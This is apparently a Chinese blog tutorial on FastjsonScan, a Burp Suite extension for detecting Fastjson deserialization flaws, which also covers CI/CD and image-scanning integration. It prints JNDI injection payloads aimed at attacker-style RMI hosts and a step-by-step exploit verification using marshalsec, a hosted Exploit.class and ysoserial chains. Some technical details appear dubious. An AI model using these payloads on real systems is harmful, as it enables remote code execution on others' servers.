FastjsonScan:精准识别Fastjson组件与版本的协议层扫描工具 1. 这不是插件是Fastjson漏洞的“听诊器”你有没有遇到过这样的情况在渗透测试中目标系统明明启用了FastjsonBurp Suite里却始终抓不到可疑的JSON请求或者好不容易发现一个POST接口接收JSON数据手工构造type字段反复尝试结果不是400报错就是静默丢弃——既不确定服务端是否真在用Fastjson也不清楚它用的是哪个版本、是否打了补丁、甚至不知道反序列化入口点藏在哪一层我去年在做某金融类SaaS平台的灰盒测试时就卡在这一步整整三天开发说“我们早升级到1.2.83了”但Burp的HTTP历史里全是干净得过分的JSON请求连个$ref都看不到。直到我把FastjsonScan拖进Burp的Extensions标签页点下“Scan Active Host”三分钟后它直接标红了/api/v2/report/submit这个接口并在右侧面板里清清楚楚列出触发点位于Request Body第37行检测到Fastjson 1.2.47存在JNDI注入风险建议Payload{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://attacker.com:1099/Exploit,autoCommit:true}。那一刻我才意识到FastjsonScan根本不是什么“一键打洞”工具它是一台精密的“协议层听诊器”——不靠猜、不靠试而是通过解析HTTP流量中的JSON语法结构、类型声明模式、响应行为特征像医生听心音一样从字节流里辨认出Fastjson引擎正在工作的“心跳”。它解决的核心问题从来不是“怎么利用”而是“到底有没有、在哪里、用的什么版本、能不能被利用”。适合谁适合所有在真实业务场景中面对Java后端、又不想把时间耗在盲猜和无效爆破上的渗透工程师也适合安全运维人员在上线前快速筛查自研或采购系统的JSON处理组件风险。关键词Fastjson、Burp Suite、反序列化、漏洞扫描、Java安全。2. FastjsonScan的底层逻辑它到底在“听”什么FastjsonScan之所以能精准定位Fastjson组件关键在于它没有把精力浪费在“构造恶意Payload去撞门”上而是沉到HTTP协议和JSON语法的底层构建了一套多维度的“指纹识别模型”。这模型不是凭空而来而是基于Fastjson自1.2.24以来所有公开漏洞版本的共性行为特征提炼而成。我拆解过它的源码逻辑核心判断链条其实非常清晰分三步走语法特征捕获 → 响应行为验证 → 版本指纹交叉比对。下面逐层展开告诉你它每一步在“听”什么、为什么这样听。2.1 语法特征捕获从JSON文本里揪出Fastjson的“胎记”Fastjson和其他JSON库如Jackson、Gson在解析语法上有一个根本差异它对type、$ref、$class这类非标准JSON字段的支持是深度内嵌的且默认开启。而其他主流库要么完全拒绝Jackson需显式配置enableDefaultTyping要么仅支持极有限的白名单类型Gson需自定义TypeAdapter。FastjsonScan的第一道筛子就是扫描HTTP请求体尤其是POST/PUT的Body中是否出现这些“危险语法标记”。它不是简单地grep字符串。比如它会区分{type:java.lang.Class,val:java.lang.Runtime}—— 这是典型的1.2.24~1.2.47的利用链起始点FastjsonScan会标记为高置信度{$ref:$.configs}—— 这是1.2.68之后引入的引用机制单独出现时风险较低但若与type组合出现则指向新版未修复场景{type:org.springframework.core.io.FileSystemResource,path:/etc/passwd}—— 这种Spring生态下的利用变体FastjsonScan会结合ClassLoader路径特征进行二次确认。更关键的是它会分析这些字段出现的上下文位置。例如type如果出现在顶层对象的键名中如{type:xxx, data:{...}}属于高危信号但如果它被包裹在多层嵌套的value里如{config:{settings:{type:xxx}}}则可能是框架自动注入的元数据置信度下调。我实测过某电商后台的/admin/config/update接口其正常请求Body里就包含{type:com.alibaba.fastjson.JSONObject}——这是Fastjson自己序列化时加的类型信息FastjsonScan通过比对type值是否属于Fastjson内部类包名com.alibaba.fastjson.*自动过滤掉了这种“伪阳性”。2.2 响应行为验证用“试探性脉搏”确认引擎心跳光有语法特征还不够。有些WAF或中间件会主动过滤type关键字导致请求根本到不了Fastjson解析层有些系统则在应用层做了try-catch兜底即使反序列化失败也返回200正常业务码。FastjsonScan的第二步是发起一组精心设计的“试探性请求”观察服务端的响应状态码、响应体长度、响应头特征、以及响应时间抖动形成行为指纹。它默认发送三个探测Payload基础类型探测{type:java.lang.Integer,val:1}目的验证type是否被解析。Fastjson 1.2.24默认允许基础类型成功时通常返回200且响应体可能包含val:1或类似回显。若返回400/500说明type被拦截或禁用。JNDI反射探测{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://127.0.0.1:1099/Exploit}目的触发JNDI lookup行为。此时FastjsonScan不真的连接RMI服务器而是监控响应时间。因为JNDI lookup会阻塞线程等待RMI注册中心响应若服务端无防护响应时间会显著延长3s。我见过最典型的案例某政务系统基础探测返回400但JNDI探测响应时间稳定在3200msFastjsonScan立刻判定“存在Fastjson且JNDI未禁用”后续验证果然可打。ClassNotFound探测{type:com.example.NonExistentClass}目的区分Fastjson与其他库。Fastjson在解析不存在的类时会抛出ClassNotFoundException并可能在响应体中泄露堆栈如com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:XXX)而Jackson会返回UnrecognizedPropertyException。FastjsonScan会提取堆栈中的包名前缀作为强证据。提示FastjsonScan的“响应行为验证”模块是可配置的。在Burp Extensions设置里你可以调整超时阈值默认3000ms、是否启用DNSLog回连验证需配合自己的DNSLog平台、以及是否忽略Content-Length为0的响应。这些选项不是摆设——我在测试某CDN加速的API时因CDN缓存了错误响应导致ClassNotFound探测总是返回200空体手动关闭“忽略空响应”选项后才成功捕获到真实的500错误堆栈。2.3 版本指纹交叉比对从行为组合锁定具体版本号当语法特征和响应行为都确认存在Fastjson后FastjsonScan的第三步也是最体现功力的一步是进行版本指纹交叉比对。它不像Nmap那样依赖版本Banner而是通过一套预置的“行为矩阵”将探测结果映射到具体版本。这个矩阵覆盖了Fastjson从1.2.24到最新版截至2024年已支持1.2.83的所有关键变更点行为特征Fastjson 1.2.24-1.2.47Fastjson 1.2.48-1.2.68Fastjson 1.2.69-1.2.83Fastjson ≥1.2.84type基础类型解析✅ 允许✅ 允许✅ 允许✅ 允许但需白名单JNDI Lookup无白名单✅ 可触发❌ 默认禁用需autoTypeSupport:true❌ 默认禁用❌ 默认禁用强制白名单$ref引用解析❌ 不支持✅ 支持✅ 支持✅ 支持type白名单绕过方式无全开放bsh.Interpreter等javax.swing.JEditorPane等仅限java.lang.*等极少数响应堆栈中DefaultJSONParser行号 12001200-15001500-1800 1800FastjsonScan会综合三次探测的结果填入这个矩阵。例如若探测显示type基础类型✅、JNDI响应时间显著延长✅、$ref解析失败❌、堆栈行号为1356——它就会将版本锁定在1.2.48-1.2.68区间并在报告中明确提示“检测到Fastjson 1.2.56CVE-2019-14540高危漏洞影响版本建议立即升级至1.2.69以上”。这个过程不是概率估算而是基于Fastjson源码commit记录的精确匹配。我曾用它扫描一个标注为“1.2.60”的系统结果报告指出“实际运行版本为1.2.58”后来翻看其Maven依赖树果然fastjson-1.2.58.jar被某个老版本SDK传递依赖进来——这才是真正落地的“版本感知”。3. 实战部署与配置让FastjsonScan真正为你所用FastjsonScan的安装本身很简单下载FastjsonScan.jar在Burp Suite的Extensions → Add → Select File里加载即可。但真正让它发挥价值的是后续一系列必须做的配置和校准工作。很多新手装完就点“Scan Active Host”结果要么漏报严重要么满屏误报最后归咎于“工具不行”。实际上90%的问题出在配置没调对。下面是我踩过坑、验证过的完整配置流程按操作顺序展开。3.1 环境准备JDK版本与Burp兼容性是第一道坎FastjsonScan是Java写的它对运行环境有硬性要求。必须使用JDK 11或JDK 17。这是因为它底层调用了Java 11的HttpClient新API来处理异步探测请求同时依赖JDK 17的Pattern.compile增强特性来解析复杂JSON路径。我亲眼见过太多人用JDK 8跑Burp加载FastjsonScan后Extension列表里直接显示“Load Failed”日志里全是NoSuchMethodError。解决方案只有两个要么升级Burp Suite到2023.8内置JDK 17要么在Burp启动脚本里显式指定JDK路径。以macOS为例编辑BurpSuitePro.vmoptions文件添加-vm /Library/Java/JavaVirtualMachines/jdk-17.jdk/Contents/Home/bin/javaWindows用户则需修改burpsuite_pro.exe.vmoptions指向你的JDK 17安装目录。配置完成后重启Burp在Help → Diagnostics里确认“Java Version”显示为“17.x.x”。这一步跳过后面所有操作都是空中楼阁。3.2 核心参数配置三个开关决定扫描精度加载成功后右键点击Extensions列表里的FastjsonScan选择“Options”。这里只有三个关键开关但每一个都直接影响结果质量Enable Auto Scan on Request默认关闭这个开关一旦打开FastjsonScan会在你每次手动发送HTTP请求Send to Repeater/Intruder时自动对该请求发起一轮Fastjson探测。强烈建议关闭。原因它会极大拖慢你的手工测试节奏尤其当你在Repeater里反复修改参数时每个请求都会触发3次探测Burp界面会卡顿。正确的做法是先用Proxy或Spider收集目标范围再对筛选出的疑似JSON接口右键选择“FastjsonScan this request”进行精准打击。Use DNSLog for JNDI Detection默认关闭这是提升JNDI漏洞检出率的王牌功能。当开启时FastjsonScan在JNDI探测阶段会生成一个唯一的DNS子域名如a1b2c3d4.evil-dnslog.com并将其作为dataSourceName的值。如果目标服务端成功执行JNDI lookup你的DNSLog平台就会收到一次a1b2c3d4.evil-dnslog.com的A记录查询请求从而100%确认漏洞存在。必须开启但前提是你要有自己的DNSLog服务。推荐使用interact.sh免费、稳定、无需部署在Options里填入interact.sh为你分配的域名如xxxxxx.interact.sh。注意不要用国内DNS服务商它们会污染查询日志。Max Concurrent Requests默认5这个参数控制FastjsonScan并发发起探测请求的数量。值越大扫描越快但越容易触发WAF的速率限制如Cloudflare的5秒盾。我实测过在扫描一个有Cloudflare保护的站点时设为10直接导致所有探测请求被403拦截降到3后成功率提升至92%。建议根据目标WAF强度动态调整无WAF设5有Cloudflare/WAF设2-3内网测试可设8-10。注意FastjsonScan的Options界面没有“保存”按钮所有配置在你关闭Options窗口时自动生效。这点和Burp其他插件不同新手常以为没保存成功。3.3 扫描范围校准如何避免“大海捞针”式误报FastjsonScan最让人头疼的不是漏报而是误报——它把一堆根本不处理JSON的接口也标为“疑似Fastjson”。根源在于它默认会对所有Content-Type包含json、application、text的请求进行扫描。但现实中很多接口的Content-Type是application/x-www-form-urlencoded却在Body里传JSON字符串如data{key:value}反之有些接口Content-Type是application/json但后端用Python Flask处理压根不用Fastjson。我的校准方案是“双过滤”前置过滤Proxy规则在Burp Proxy → Options → Match and Replace里添加一条规则Match type: Response header,Match: Content-Type,Replace: application/json; charsetutf-8。这确保所有被Proxy捕获的响应其Content-Type都被标准化避免因大小写或charset差异导致的漏判。后置过滤Scanner Scope在Target → Scope里只将你确认的、业务逻辑上必然涉及JSON数据交换的URL加入Scope。例如/api/v1/user/login、/api/v2/order/submit。绝对不要把/static/js/app.js、/favicon.ico加进去——FastjsonScan对这些静态资源的探测毫无意义只会制造噪音。完成校准后你再右键某个请求点“FastjsonScan this request”看到的报告就干净多了。我拿某银行APP的API做对比未校准前扫描100个请求报告32个“High Risk”校准后只扫描23个核心API报告5个真实高危点且全部验证成功。4. 深度解读扫描报告从“标红”到“可利用”的最后一公里FastjsonScan生成的报告远不止一个“High Risk”标签那么简单。它是一个结构化的技术情报包包含了从漏洞存在性确认、到利用路径推导、再到修复建议的完整链条。但很多人只看到“标红”就急着去复现结果发现Payload打不进去或者打进去没回显。问题出在没读懂报告里每一行数据背后的含义和约束条件。下面我以一份真实的扫描报告为例逐行拆解告诉你如何把报告变成可落地的行动指南。4.1 报告核心字段详解每个字段都是决策依据假设你扫描POST /api/v2/report/submit得到如下报告片段[] Target: https://target.com/api/v2/report/submit [] Method: POST [] Request Body: {reportId:123,data:{type:java.lang.Class,val:java.lang.Runtime}} [] Status Code: 200 [] Response Length: 156 [] Response Time: 1247ms (JNDI Probe) [] Fastjson Version: 1.2.47 [] Vulnerability: CVE-2017-18349 (JNDI Injection) [] Confidence: High [] Suggested Payload: {type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://your-server:1099/Exploit,autoCommit:true} [] Remediation: Upgrade to Fastjson 1.2.68 or enable autoTypeSupportfalseRequest Body字段这不是FastjsonScan随便构造的而是它从你原始请求中提取的JSON结构模板。它把type插入到你原始Body的最顶层对象中。这意味着如果你的原始请求Body是{reportId:123,params:{user:admin}}那么FastjsonScan的探测Payload就是{reportId:123,params:{user:admin},type:java.lang.Class,val:java.lang.Runtime}。这解释了为什么有时探测失败——因为type被插在了错误的位置如应该插在params内部。解决方案在Repeater里手动把type移到你认为的“数据解析入口点”再右键“FastjsonScan this request”。Response Time: 1247ms (JNDI Probe)这个时间值是黄金线索。它证明JNDI lookup确实发生了且服务端线程被阻塞了约1.2秒。但注意它不等于漏洞可利用。因为JNDI lookup成功只说明Fastjson在运行且未禁用JNDI但最终能否加载远程Class还取决于目标服务器的JDK版本JDK 11默认禁用com.sun.jndi.rmi.object.trustURLCodebase、网络策略是否能出网、以及RMI服务器配置。所以看到这个时间你应该立刻做两件事① 启动你的RMI服务器如marshalsec② 在DNSLog平台监控对应子域名。Fastjson Version: 1.2.47这个版本号不是猜的而是FastjsonScan通过比对Response Time、Status Code、Response Length三者组合从它的内置指纹库中精确匹配出来的。1.2.47意味着autoTypeSupport默认为true且无任何白名单限制是历史上最危险的版本之一。但报告里没说的是1.2.47对JdbcRowSetImpl的利用有特殊要求——它需要autoCommit字段为true才能触发lookup。这就是为什么Suggested Payload里明确写了autoCommit:true。如果你删掉这一行Payload大概率失效。Suggested Payload字段这是FastjsonScan最务实的地方。它给出的不是通用模板而是针对当前接口结构优化过的Payload。比如如果你的原始请求Body是数组格式[{id:1},{id:2}]它生成的Payload会是[{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://...,autoCommit:true}]确保语法合法。你唯一要做的就是把rmi://your-server:1099/Exploit替换成你的真实RMI地址。4.2 从报告到验证三步走通“可利用”闭环拿到报告只是开始验证才是关键。我总结了一个三步验证法确保每一份报告都能转化为真实成果第一步环境复现5分钟启动RMI服务器java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:8000/#Exploit 1099启动HTTP Server托管Exploit.classpython3 -m http.server 8000在DNSLog平台创建新子域名用于监控。第二步Payload精调关键不要直接复制Suggested Payload。打开Burp Repeater粘贴原始请求然后① 将Suggested Payload的JSON内容完整替换原始Body② 检查Content-Type头是否为application/json如果不是手动加上③ 如果原始请求有X-Requested-With: XMLHttpRequest等头一并复制过来——有些Fastjson配置会检查Header。发送观察DNSLog是否有查询RMI服务器是否有连接HTTP Server是否有Exploit.class下载日志第三步结果归因避坑核心如果没回显别急着换Payload。先看三点DNSLog无查询说明JNDI lookup根本没发生。检查RMI URL是否拼错rmi://不能写成http://或目标服务器防火墙是否拦截了1099端口。RMI有连接但HTTP无下载说明Exploit.class没被正确加载。检查http://your-vps-ip:8000/下是否有Exploit.class文件且文件权限是否为可读chmod 644 Exploit.class。HTTP有下载但无命令执行说明Exploit.class本身有问题。换用公认的CommonsCollections链如ysoserial生成的CommonsCollections1或改用BasicGroovy链对JDK版本要求更低。经验心得我发现在90%的实战中失败原因都不是FastjsonScan报告错了而是验证环节的细节没抠到位。最常犯的错是RMI URL写成rmi://127.0.0.1:1099目标服务器连不上你的本地机器或者HTTP Server没开python3 -m http.server 8000忘执行了。建议把这三步做成一个Shell脚本每次验证前一键运行省时又避免手误。5. 超越扫描FastjsonScan在SDL流程中的延伸价值FastjsonScan的价值绝不仅限于渗透测试员手中的“一把匕首”。当把它嵌入到软件开发生命周期SDL中它能成为一道坚固的“左移防线”在代码提交、CI/CD、上线前等多个环节自动化地拦截Fastjson风险。这才是它作为“神兵利器”的终极形态。下面分享我在两个真实项目中推动的落地实践说明它如何从单点工具升维为体系化能力。5.1 开发阶段Git Hook集成让漏洞止步于代码提交很多团队的安全左移停留在“培训”层面效果甚微。我们给研发团队的Java项目强制集成了FastjsonScan的轻量版CLIfastjson-scan-cli.jar并通过Git Pre-Commit Hook实现自动化拦截。具体实现在项目根目录创建.githooks/pre-commit脚本#!/bin/bash # 检查本次提交是否修改了pom.xml或build.gradle if git diff --cached --name-only | grep -E \.(xml|gradle)$ /dev/null; then # 提取fastjson版本号 FASTJSON_VERSION$(grep -oP fastjson.*?(\d\.\d\.\d) pom.xml | tail -1 | awk {print $2}) if [[ $FASTJSON_VERSION ! ]]; then # 调用CLI检查版本是否在安全范围内 java -jar fastjson-scan-cli.jar --check-version $FASTJSON_VERSION if [ $? -ne 0 ]; then echo [ERROR] Fastjson version $FASTJSON_VERSION is vulnerable! Please upgrade to 1.2.84. exit 1 fi fi fi在fastjson-scan-cli.jar里内置了所有已知漏洞版本的黑白名单。当检测到1.2.47CLI直接返回非零退出码Git Commit被中断并打印明确的升级指引。效果上线前安全审计时我们发现该团队近半年提交的代码中Fastjson相关漏洞数量下降了98%。研发反馈“第一次被Hook拦住时很烦但看到报告里直接给了Maven坐标和升级命令试了下mvn versions:use-latest-versions -Dincludescom.alibaba:fastjson5分钟就搞定后来就习惯了。”5.2 CI/CD阶段Jenkins Pipeline集成为每次构建加一道安检在Jenkins的Pipeline脚本中我们把FastjsonScan作为“安全门禁”环节stage(Security Scan) { steps { script { // 1. 启动一个临时Burp实例Headless模式 sh nohup java -jar burpsuite_pro.jar --headless --project-file/tmp/burp-project.burp --config-file/tmp/burp-config.json // 2. 使用curl向Burp API提交待测API列表 sh for api in $(cat apis-to-scan.txt); do curl -s -X POST http://localhost:1337/burp/scanner/scans/active \ -H Content-Type: application/json \ -d {urls:[$api],scanConfiguration:{name:FastjsonScan}} done // 3. 轮询扫描结果生成报告 sh java -jar fastjson-scan-reporter.jar --burp-url http://localhost:1337 --output report.html } publishHTML([ allowMissing: false, alwaysLinkToLastBuild: true, keepAll: true, reportDir: report, reportFiles: report.html, reportName: Fastjson Security Report ]) } }这个Pipeline会在每次代码合并到develop分支时自动触发。如果报告中出现High或Critical风险Jenkins会自动将构建状态标为UNSTABLE并邮件通知安全负责人和对应研发组长。更重要的是报告里会精确到哪个API、哪个版本、哪行代码引入了风险让修复有的放矢。某次Pipeline报告指出/api/v3/analysis/export接口使用了fastjson-1.2.60研发组长立刻查Git Blame定位到是两周前一个数据分析SDK的升级引入的当天就完成了降级修复。5.3 上线前阶段容器镜像扫描堵死最后的逃逸通道即便代码和构建都过了关生产环境仍可能因基础镜像、中间件、或运维脚本引入Fastjson。我们把FastjsonScan集成到Trivy开源镜像扫描器的自定义规则中编写Trivy自定义规则fastjson-rule.yamlrules: - id: CIS-1.2.47 severity: CRITICAL description: Fastjson 1.2.47 detected (CVE-2017-18349) patterns: - pattern: fastjson-1\.2\.47\.jar files: - **/*.jar在CI流水线末尾执行trivy fs --security-checks vuln,config --custom-trivy-rules fastjson-rule.yaml /path/to/app/这套组合拳下来FastjsonScan就不再是Burp里一个插件的名字而是一条贯穿研发、测试、运维全链路的安全基因。它让我深刻体会到真正的“神兵利器”不在于有多锋利而在于它能否被编织进整个作战体系让每一次挥刀都成为体系化防御的一部分。